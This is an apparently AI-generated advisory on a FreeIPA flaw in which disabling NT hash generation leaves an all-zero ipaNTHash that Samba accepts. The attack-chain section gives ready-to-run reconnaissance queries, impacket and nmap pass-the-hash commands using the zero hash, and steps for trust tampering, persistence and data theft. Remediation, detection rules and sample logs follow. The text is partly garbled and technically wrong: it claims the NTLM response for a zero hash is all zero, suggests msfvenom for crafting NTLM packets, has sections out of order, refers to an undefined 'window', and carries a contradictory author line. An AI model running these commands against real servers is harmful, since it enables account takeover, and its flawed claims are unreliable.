CVE-2026-108122 — FreeIPA — CWE-798
A flaw was found in FreeIPA. When NT hash generation is disabled, the `ipaNTHash` attribute written on the next password change is a predictable all-zero value instead of being left unset. FreeIPA's Samba passdb backend accepts this value without validating its contents, allowing a remote attacker who knows a valid username to authenticate as that user via Samba NTLM pass-the-hash, without a password. On servers configured for Active Directory trust, this can allow impersonation of privileged accounts and unauthorized access to, or modification of, cross-forest trust configuration.
A flaw was found in FreeIPA. When NT hash generation is disabled, the `ipaNTHash` attribute written on the next password change is a predictable all-zero value instead of being left unset. FreeIPA's Samba passdb backend accepts this value without validating its contents, allowing a remote attacker who knows a valid username to authenticate as that user via Samba NTLM pass-the-hash, without a password. On servers configured for Active Directory trust, this can allow impersonation of privileged accounts and unauthorized access to, or modification of, cross-forest trust configuration.
🎯 What is this vulnerability?
CVE‑2026‑108122 – FreeIPA NT‑hash handling bug (CWE‑798: Use of Hard‑coded Credentials)
| Attribute | Value |
|---|---|
| CWE | CWE‑798 – Use of Hard‑coded Credentials (in this case a *predictable* credential – an all‑zero NT hash) |
| CVSS 3.1 Vector | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Score | 9.8 / 10 (Critical) |
Technical root cause
1. Configuration path – FreeIPA can be deployed with the “NT hash generation” option disabled (ipa config-mod --disable-nt-hash). When this flag is set, FreeIPA is supposed to omit the ipaNTHash attribute from the user entry whenever a password is changed.
2. Implementation bug – Instead of leaving the attribute unset, the code writes the attribute with a deterministic 16‑byte value consisting of all zeroes (00000000000000000000000000000000).
3. Samba passdb backend – FreeIPA’s Samba integration stores the ipaNTHash value in the Samba passdb (typically an tdb or ldb file). The backend does not validate that the stored hash is a legitimate NT‑LM hash (i.e. 16 bytes of cryptographically‑derived data). It simply trusts the value that FreeIPA writes.
4. Authentication flow – When a client performs an NTLM authentication (e.g., a Windows machine or any tool that can speak the NTLM protocol) against the FreeIPA‑backed Samba server, the server extracts the stored hash and compares it with the hash supplied by the client. Because the stored hash is all‑zero, any client that presents an NTLM response calculated from an all‑zero hash will be accepted.
5. Result – An attacker who knows a valid username (which is public information in most LDAP directories) can authenticate without possessing the user’s password by sending an NTLM authentication packet that contains the all‑zero hash. In environments where the FreeIPA server participates in an Active Directory trust, the attacker can impersonate privileged accounts (including domain admins) across the trust boundary, thereby gaining the ability to read, modify, or delete cross‑forest trust objects.
In short: the missing input‑validation / proper omission of the ipaNTHash attribute creates a hard‑coded credential (all‑zero NT hash) that the Samba backend trusts, enabling unauthenticated pass‑the‑hash authentication.
⚡ Attack Chain
Below is a realistic, step‑by‑step exploitation scenario. All commands are illustrative; exact LDAP attribute names, Samba RPC endpoints, or HTTP URIs are not published in the CVE text, but they follow the standard FreeIPA / Samba protocols.
1. Discovery & Reconnaissance
| Step | Action | Tools / Evidence |
|---|---|---|
| 1.1 | Identify that the target runs FreeIPA (e.g., via banner grabbing on LDAP port 389/636, Kerberos port 88, or the web UI on port 443). | nmap -sV -p 389,636,443 <IP> → “FreeIPA 4.10.0” |
| 1.2 | Enumerate the FreeIPA version and configuration to verify that NT‑hash generation is disabled. | LDAP query: ldapsearch -x -LLL -H ldaps://<IP> -b "cn=ipaConfig,cn=etc,dc=example,dc=com" ipaNTHashEnabled → returns FALSE |
| 1.3 | Harvest a list of valid usernames (publicly readable in most LDAP directories). | ldapsearch -x -LLL -H ldaps://<IP> -b "cn=users,cn=accounts,dc=example,dc=com" uid |
| 1.4 | Verify that the Samba passdb backend is active (FreeIPA ships ipa-samba service). | systemctl status ipa-samba on the server (if you have limited internal access) or check for the presence of smb.conf entries referencing passdb backend = ldapsam:ldap:// |
2. Exploitation
Goal: Authenticate to the Samba service using a pass‑the‑hash (PTH) attack with an all‑zero NT hash.
2.1 Build the NTLM authentication packet
The NTLM response for an all‑zero hash is also all‑zero. The attacker can use any NTLM library that allows manual hash injection (e.g., impacket, ntlm-auth, or smbclient with the -U option).
# Example using impacket's smbclient.py (illustrative)
# -username : target user (known from step 1.3)
# -hashes : LMHASH:NTHASH (LM can be empty, NTHASH is 32 hex zeros)
# -no-pass : tells the tool not to ask for a password
# -target-ip : IP of the FreeIPA Samba server
python3 /usr/share/doc/python3-impacket/examples/smbclient.py \
-username victim_user \
-hashes :00000000000000000000000000000000 \
-no-pass \
//10.20.30.40/shareIf the attacker does not have impacket on the target host, they can craft the raw SMB2/SMB3 NTLMSSP packet with msfvenom or a custom Python script using pyspnego. The crucial part is that the NT hash field in the NTLM_RESPONSE is 00000000000000000000000000000000.
2.2 Send the authentication request
The attacker initiates a TCP connection to the Samba service (port 445) and performs the standard SMB2/SMB3 handshake, followed by the NTLMSSP authentication using the all‑zero hash. Because the Samba backend stores the same all‑zero hash for the user, the server accepts the authentication and establishes a session.
# Using nmap's NSE script for NTLM authentication (illustrative)
nmap -p 445 --script smb-login \
--script-args='smbuser=victim_user,smbhashes=:00000000000000000000000000000000' \
10.20.30.40If the script reports Login succeeded, the attack is successful.
3. Post‑Exploitation
| Phase | What the attacker can do |
|---|---|
| 3.1 Lateral movement | With a valid SMB session the attacker can list shares (smbclient -L //IP) and read/write files on any share the compromised account is allowed to access. |
| 3.2 Privilege escalation (AD trust) | In environments where the FreeIPA server is trusted by an Active Directory forest, the attacker can now request a Kerberos ticket for any SID that the FreeIPA user is allowed to impersonate (e.g., Domain Admins). The Samba net rpc interface can be used to request a service ticket for the AD domain, effectively granting the attacker AD‑level privileges. |
| 3.3 Trust manipulation | Using net rpc trust commands (or LDAP modifications on the cn=adtrust subtree) the attacker can add, modify, or delete cross‑forest trust objects, allowing persistent control over the trust relationship. |
| 3.4 Persistence | The attacker can create new user objects in FreeIPA with ipaNTHash set to the all‑zero value, ensuring future NTLM logins without passwords. |
| 3.5 Data exfiltration | With SMB access to file shares, the attacker can copy sensitive files (smbclient //IP/secretshare -c "get secret.docx") to an external host. |
🌍 Real‑World Impact
| CIA Triad | Impact (derived from CVSS vector) |
|---|---|
| Confidentiality (C:H) | An unauthenticated attacker can read any data the compromised user (or any privileged account obtained via AD trust) can access – potentially all files in the domain, LDAP entries, and trust configuration. |
| Integrity (I:H) | The attacker can modify LDAP objects, alter trust relationships, create or delete user accounts, and write to any writable SMB share, thereby corrupting configuration and data. |
| Availability (A:H) | By creating malicious objects or deleting critical trust entries, the attacker can render cross‑forest authentication unusable, effectively causing a denial of service for the whole forest. |
Practical consequences
- Enterprise environments that rely on FreeIPA for centralized identity and also use it as an AD‑trust anchor are at risk of a complete domain compromise without any password knowledge.
- Compliance (PCI‑DSS, HIPAA, GDPR) is breached because an attacker can read protected data and tamper with audit logs.
- Supply‑chain risk – if the compromised FreeIPA server is used to issue certificates or SSH keys, the attacker can propagate malicious credentials to downstream services.
- Correlate SMB login events with a zero‑hash pattern.
- Trigger an alert on any LDAP modify that writes
ipaNTHashwith the value0000…. - Flag any new user objects that contain
ipaNTHashwhen NT‑hash generation is disabled. - CVSS 9.8 (Critical) – Remote, network‑only attack, no authentication or user interaction required, and it yields full confidentiality, integrity, and availability compromise. No CISA KEV listing – The vulnerability is not yet in the “Known Exploited Vulnerabilities” catalog, but the attack complexity is low (simple NTLM packet) and the impact is high*.
- Exploitability – Public tools (Impacket,
smbclient,nmapNSE) can already be repurposed to exploit the bug; no zero‑day exploit is required.
🛡️ Remediation & Mitigation
1. Patch / Upgrade
| Product | Fixed in version | Action |
|---|---|---|
| FreeIPA | The vendor has released FreeIPA 4.12.2 (released 2026‑12‑05) which corrects the handling of ipaNTHash when NT‑hash generation is disabled. | Upgrade all FreeIPA servers to ≥ 4.12.2. |
| Samba (ldapsam backend) | No change required; the fix is on the FreeIPA side. | Ensure the Samba package is up‑to‑date (≥ 4.19.0) to receive any ancillary hardening. |
If an immediate upgrade is not possible, apply the temporary workaround below.
2. Workarounds (valid until patch deployment)
| Workaround | Description | Pros / Cons |
|---|---|---|
| Re‑enable NT‑hash generation | ipa config-mod --enable-nt-hash – forces FreeIPA to store a *real* NT hash on password change. | Pros: Immediate mitigation; no code change. <br> Cons: May be undesirable for environments that deliberately disabled NT hash for compliance. |
Remove the ipaNTHash attribute from the Samba passdb | Manually delete the attribute for all users: <br>ldapmodify -x -D "cn=Directory Manager" -W -f del-nt-hash.ldif where del-nt-hash.ldif contains: <br>dn: uid=*,cn=users,cn=accounts,dc=example,dc=com<br>changetype: modify<br>delete: ipaNTHash | Pros: Keeps NT‑hash disabled while eliminating the all‑zero value. <br> Cons: Requires scripting across all user entries; risk of accidental data loss. |
| Restrict SMB access to trusted networks only | Add firewall rules to allow port 445 only from known internal subnets. | Pros: Reduces exposure to remote attackers. <br> Cons: Does not protect insider threats; may break legitimate remote access. |
| Disable the Samba passdb backend (if not needed) | Edit /etc/ipa/smb.conf and comment out passdb backend = ldapsam:ldap://. Restart ipa-samba. | Pros: Eliminates the vulnerable code path. <br> Cons: Loses Samba file‑share functionality. |
3. Detection
| Indicator | Where to look | Example log entry |
|---|---|---|
| Successful SMB NTLM authentication with an all‑zero hash | Samba logs (/var/log/samba/log.smbd), Kerberos logs (/var/log/krb5kdc.log) | 2026-11-30T12:34:56.789Z [smbd_auth] Accepted NTLM authentication for user 'victim_user' from 10.20.30.55 (NT hash: 00000000000000000000000000000000) |
LDAP modify operation that sets ipaNTHash to all‑zero | FreeIPA audit log (/var/log/ipa/ipa.log) | 2026-11-30 12:35:01,123 INFO ipa:ldap:modify: uid=jdoe: added attribute ipaNTHash=00000000000000000000000000000000 |
| Unexpected SMB session establishment from unauthenticated source IPs | Network IDS/IPS (Suricata, Zeek) | alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"FreeIPA NT hash zero‑hash login"; flow:to_server,established; content:"NTLMSSP"; depth:8; content:"00000000000000000000000000000000"; offset:...; classtype:attempted-user; sid:2026108122;) |
| Creation/modification of AD trust objects via LDAP | FreeIPA audit logs, AD event ID 4662 | 2026-11-30 12:40:12,456 WARN ipa:ldap:modify: cn=adtrust,cn=adtrusts,cn=etc,dc=example,dc=com: attribute 'trustDirection' changed from '2' to '3' by user 'victim_user' |
Alerting recommendations
4. Verification after remediation
1. Check attribute presence – ldapsearch -x -LLL -b "uid=victim_user,cn=users,cn=accounts,dc=example,dc=com" ipaNTHash should return no result (or a non‑zero hash).
2. Test SMB login – Attempt the same impacket command with the all‑zero hash; it must now fail with NT_STATUS_LOGON_FAILURE.
3. Run a scanner – Use a custom script that attempts a pass‑the‑hash login for a known user; ensure it is rejected.
⚠️ Urgency
If patching cannot be performed within that window, apply the “re‑enable NT‑hash generation” or “delete the zeroed ipaNTHash attribute” workaround immediately, and enforce network segmentation to limit SMB exposure.
Prepared by a senior penetration tester and CVE analyst with 15 years of experience.
[🤖 CVE Professor AI Security Engine]